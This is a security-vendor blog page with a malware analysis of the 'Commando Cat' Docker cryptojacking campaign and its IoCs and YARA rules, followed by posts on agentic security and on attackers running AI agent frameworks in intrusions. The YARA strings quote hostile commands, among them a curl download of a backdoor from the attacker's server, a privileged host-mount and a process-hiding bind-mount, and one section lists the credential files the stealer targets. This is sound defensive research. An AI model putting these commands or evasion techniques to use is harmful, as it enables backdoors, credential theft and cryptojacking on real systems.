Blog
/
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando ‍
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts‍
  3. https://github.com/creaktive/tsh ‍
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/‍
  5. https://www.gsocket.io/ ‍
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor ‍
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

November 18, 2026

Microsoft Perception, Agentic Insiders and the Role of Behavioral Security

Default blog imageDefault blog image

This week at Ignite, Microsoft announced that Microsoft Perception is generally available. It is a significant milestone for the industry, and one we welcome as a Microsoft partner. Microsoft is putting an architectural bet at the center of its security strategy: AI has changed the speed of cyber, and defense must change with it.

At Darktrace, we’ve long held the same view, so it’s encouraging to see a partner of Microsoft’s scale articulate it so clearly and bring it to market.

Security gets a team of agents

Perception is Microsoft’s agentic security system. It orchestrates red, blue, and green team agents through playbooks in a closed loop: red agents simulate attacks, blue agents detect, triage and investigate, and green agents fix and remediate. Rather than adding another assistant to the SOC, it creates coordinated teams of agents that share context. Security teams set the guardrails and approve high-impact actions.

Microsoft frames this as a three-layer cyber stack: signals, sensors and actuators; a context layer; and agents, harness and models on top. Together with partner sources, the foundation produces more than 165 trillion signals per day.  

The announcement also makes a second point that matters just as much. Microsoft is treating AI agents themselves as a new insider-risk category. In its words, “Agents are the new insiders.” They work at machine speed, around the clock, with broad access to data, apps, tools and other agents, and like any insider they can make mistakes, be manipulated or be compromised. New capabilities such as Dynamic Agent Risk (now in preview) and dynamic Conditional Access controls are designed to assess and contain that risk as it changes.

Four truths about security in the agentic era

The announcement is built on four ideas, and together they describe the new reality security teams are defending:

  1. Static security can’t keep up. Microsoft validates what many security practitioners have observed; the window between a vulnerability’s discovery and its exploitation is collapsing from months to minutes. Manual triage can’t answer that pace. Autonomous detection and response is now a requirement, not simply a “nice to have”.
  2. Agents must be treated as insiders. The question for security teams is no longer only “who is this user?” but “what is this agent actually doing?” Identity tells you who an agent is. Policy tells you what it is allowed to do. Neither tells you whether its behavior is normal.
  3. Security is moving from signatures to behavior and context. Dynamic Agent Risk looks across identity, data, endpoint, cloud and network signals and asks whether an agent’s actions are drifting from the intent of its task. That is behavioral thinking, and it is philosophically close to the Adaptive AI approach Darktrace has pioneered.
  4. Machine-speed attacks demand machine-speed response. Humans set the objectives and guardrails. Autonomous systems do the work inside them, both detecting and acting. Microsoft’s design has agents investigate, recommend and, within approved boundaries, act, with security teams setting the limits. At this pace, the gap between knowing something is wrong and doing something about it has to close to seconds.

The opportunity: where control plane meets behavioral context

Perception is an extraordinary control plane for agentic security. The question for security leaders is how to make it even more effective in the environments they actually run.

Real enterprises are heterogeneous. They run AWS and Google Cloud alongside Azure, and OT, IoT and third-party identity alongside Entra. Increasingly they also run AI agents and MCP-connected systems that no single vendor’s telemetry fully covers. Microsoft’s architecture recognizes this, with more than 500 connectors into the wider ecosystem.

That is where Darktrace’s role is distinct. The challenge isn’t signal volume, where Microsoft’s scale is unmatched. It’s deeply understanding what is normal for a specific organization, across every system, identity and agent in it. Together, we deliver two complementary layers:

  • Microsoft brings global intelligence and orchestration. It tells you what is known, what it means and what to do about it.
  • Darktrace brings organization-specific behavioral context. It tells you what is unusual here, right now, across the organizations AI, people and infrastructure, even if it has never been seen before.

The difference shows up in the numbers. A large enterprise generates billions of signals. Darktrace turns them into thousands of incidents, narrows those to hundreds of AI-led investigations, and surfaces as few as 20 that merit a human’s attention. For an agentic SOC, that kind of evaluated, prioritized input makes agents faster, not busier.

As enterprises deploy more agents, the hard problem becomes behavior that is technically permitted but unusual, manipulated or inconsistent with the agent’s purpose. Consider an agent that normally reads Salesforce records during US business hours and suddenly starts enumerating SharePoint and opening unusual outbound connections. Each step may use valid access and approved tools, so identity and policy checks can all pass. Spotting it requires knowing the behavior is abnormal for this agent, in this environment, right now.

That is why one principle in Microsoft’s AI Transparency Initiative matters so much: organizations should be able to see what their AI accesses and does, and independently verify those actions.  

  • Identity and permissions answer “should this agent be allowed to do this?”
  • Behavioral defense answers “even though it is allowed, is what it’s doing normal?”

Deterministic controls around non-deterministic AI are the right foundation, and continuously learned baselines are how organizations can verify those controls are working. ‍

What to look for in an agentic SOC architecture

As organizations adopt platforms like Perception, we’d encourage them to look for three capabilities:

  1. Behavioral context in the control plane. Agents work best with high-confidence signals rather than thousands of raw alerts: here is the behavior that materially deviates from this organization’s learned normal.
  2. ‍Behavioral reasoning on demand. During an investigation, agents should be able to ask what changed around a given identity, device or agent in the last 24 hours, and get a clear answer. ‍
  3. Autonomous, coordinated response across the stack. Response should be as fast as the threat without being reckless: acting immediately when confidence is high, constraining or reversing actions when it isn’t, and keeping a human in the loop when it matters. Within policy and human-approval guardrails, it should target the abnormal behavior rather than the whole business process and span identity, endpoint and the wider environment.

These are the areas where we’re focused, and where we look forward to working with Microsoft and the broader ecosystem.

Response is where speed is won or lost

In the AI era, detection and investigation only matter if action follows quickly. Perception brings agentic orchestration to that problem, with security teams setting the guardrails and approving high-impact steps. Autonomous response from Darktrace takes a complementary approach: it responds on behavioral deviation, in a way that is proportionate and targeted. It can interrupt activity that is abnormal for that specific device, identity or agent while leaving normal business activity running.

The two approaches fit together naturally. Behavioral signals can tell an orchestration layer that something has changed and how confident the system is. Orchestrated playbooks can then coordinate wider containment across identity, endpoint and cloud, within the policies customers define.

The bigger picture

The industry’s architecture is converging on identity, policy, telemetry, behavior, autonomous reasoning and machine-speed response. Microsoft is building formidable pieces of that picture, especially identity, policy, telemetry and orchestration.

Behavior is the layer Darktrace is built to provide: an independent intelligence that continuously learns how humans, machines and AI agents normally act, detects the moment reality departs from intent, and can respond to that deviation in a targeted, proportionate way that keeps normal business running. When attacks move at machine speed, understanding what is abnormal and acting on it quickly have to go together.

Perception brings together what Microsoft knows and orchestrates the response across its stack. Darktrace helps organizations understand what is normal for them and act on what isn’t. Customers building their agentic security strategy will need both.

Congratulations to our partners at Microsoft on this milestone. We look forward to helping customers secure the agentic era together.

Learn more about Darktrace Behavioral Defense.

Continue reading
About the author
Kellie Regan
Director, Product Marketing - Cloud Security

Blog

/

AI

/

November 18, 2026

Agentic attacks in the wild: Inside three ARTEX investigations

Default blog imageDefault blog image

Key insights

·       Darktrace observed activity in several customer environments involving infrastructure and behaviors associated with reported ARTEX-enabled campaigns, including activity linked to China-nexus espionage and financially motivated attacks.

·       In the higher-confidence cases, known infrastructure appeared alongside beaconing, unusual TLS, reconnaissance, tunneling, script retrieval, SMB activity and external data transfer. One Azure case had no observed network command and control at all, only key listing and application identity activity.

·       ARTEX is now used by actors with different objectives. Identifying the framework can help locate relevant activity, while the behavior around the affected system provides the stronger evidence for understanding compromise and attribution.

‍

Introduction

Attackers have moved beyond using AI for phishing and are running agentic frameworks; open-source tools like ARTEX, CAIRN, PentAGI and Hexstrike that let AI agents scan, exploit and move through an environment with little human input [1]. ARTEX has moved quickly from an offensive security project into live intrusion activity. Since at least August 2026, the framework has been associated with espionage, financially motivated attacks and opportunistic campaigns across government, financial services, technology, defense, telecommunications and other sectors. The FBI has documented ARTEX activity spanning reconnaissance, exploitation, credential abuse, lateral movement, collection, command and control, and exfiltration [2].

Darktrace has observed activity in customer environments that overlaps with infrastructure, tooling and behaviors reported in several of these campaigns. The cases below highlight how those intrusions appeared on the network, including the activity visible before an analyst can determine which actor or framework may be responsible.

ARTEX as part of the attacker workflow

ARTEX is an open-source, multi-agent offensive security platform that converts high-level objectives into actions carried out by specialized agents [2]. Operators have used it to automate activity across the attack lifecycle, including scanning, exploitation, credential activity and post-compromise operations. Some reported intrusions moved from initial targeting to privileged access in under three hours [2].

The framework is now associated with actors pursuing different objectives and using different post-exploitation tooling. The original public repository was removed in October 2026, but archived copies and localized versions remain available. For defenders, ARTEX is more useful as context for an investigation than as an attribution shortcut.

Darktrace observations show the same point at network level. Infrastructure linked to reported ARTEX campaigns appeared alongside beaconing, tunneling, unusual TLS, reconnaissance, file retrieval and lateral activity.

Case 1: Espionage-linked activity

Darktrace observed activity associated with BLOODALCHEMY command-and-control (C2) infrastructure in two customer environments. In one environment, five devices communicated with nginxmysql[.]com and 45.153.126[.]223 between October 23 and November 2. Both indicators had previously been linked to China-nexus espionage activity involving ARTEX [4].

The connections were accompanied by suspicious beaconing, repeated successful connections and unusual self-signed TLS. One system began making suspicious TLS connections to nginxmysql[.]com on October 23. Beaconing followed on October 24, and SMB scanning appeared later in the sequence. Other affected systems subsequently communicated with previously unseen external endpoints.

Prior to the observed C2, Darktrace detected curl requests retrieving executable and script content including /systemd, /wazuh, linux_amd64, u.sh and q.sh. Related telemetry included DRSGetNCChanges activity consistent with DCSync, LDAP enumeration, DNS zone transfers, network scanning, certificate downloads and SMB writes involving start.bat.

‍

Figure 1: Darktrace investigation showing suspicious network activity associated with infrastructure linked to reported ARTEX activity.

‍

Figure 2: Darktrace detection showing anomalous self-signed TLS activity during the espionage-linked investigation.

‍

BLOODALCHEMY has been reported in more than one China-nexus cluster [5]. SoftEther infrastructure observed in one environment provided another point of correlation with reported VAPOR PANDA tradecraft. The moderate-confidence assessment tying this to a Chinese nexus threat actor is based on infrastructure, victim context, tradecraft behavior that followed the initial connection, and public reporting.

Case 2: Financial-sector activity

In early November, Darktrace observed activity in two financial-sector environments that overlap with reported ARTEX infrastructure. On November 5, a server connected to 213.111.150[.]145:8099 and downloaded wisp-agent, associated with WISP C2 activity.

‍

In a second environment, a device attempted connections to 85.11.167[.]52 on November 1 and 2. The connections occurred alongside beaconing to new and rare destinations, anomalous TLS, possible tunneling and unusual package downloads.

The device also communicated with temp[.]sh, ssh.localhost[.]run, localhost[.]run, termbin[.]com, pastebin[.]com and GitHub-hosted release infrastructure. The sequence showed potential tooling retrieval, C2, tunneling and use of external services capable of staging or moving data.

Figure 3: Darktrace investigation showing connections to new and rare external destinations during the financial-sector activity.

‍

Case 3: Credential collection in Azure

On October 20, Darktrace observed a sweep of credential collection in a customer’s Azure environment that is consistent with ARTEX use. The intrusion began with connections to the virtual network from 43.98.196[.]73 (Alibaba Cloud). Open-source scanning data associates the address with ARTEX.

A compromised user identity made requests to the Azure Resource Manager API, though how it was compromised is unknown. The requests listed keys and secrets across API Management, web and function apps, Cognitive Services, Event Hubs, storage accounts and a managed Kubernetes cluster. With those credentials the attacker compromised multiple application identities. The attacker then used the application identities and the user identity to retrieve more credentials, change firewall and security rules and run scripts on virtual machines. Microsoft Defender alerts showed attempted execution of scripts related to Mimikatz and Impacket.

In a cloud environment, such privileged and enumerative operations are potentially indistinguishable from legitimate administrative actions. Consequently, the sequence and context of such operations signified more than any specific API call. There was no C2 traffic to match, and listing keys and using application identities are also what administrators and automation do. A compromised user, credential retrieval across several Azure services, new application identities, more credential collection and changes to security controls only made sense together, and by then access was spreading through the cloud environment.

‍

Figure 4: Darktrace Advanced Search showing Azure AD operation names associated with the activity.

‍

Figure 5: Darktrace Advanced Search showing the Azure Resource Manager action used to execute scripts.
Figure 6: Darktrace Device Event log window showing the triggered models related to the suspicious Azure activity.

‍

Shared tooling weakens attribution signals

The three cases looked different on the network: BLOODALCHEMY infrastructure and espionage-consistent tradecraft, WISP infrastructure in financial-sector systems, and Azure identity and control-plane activity with no C2 at all.

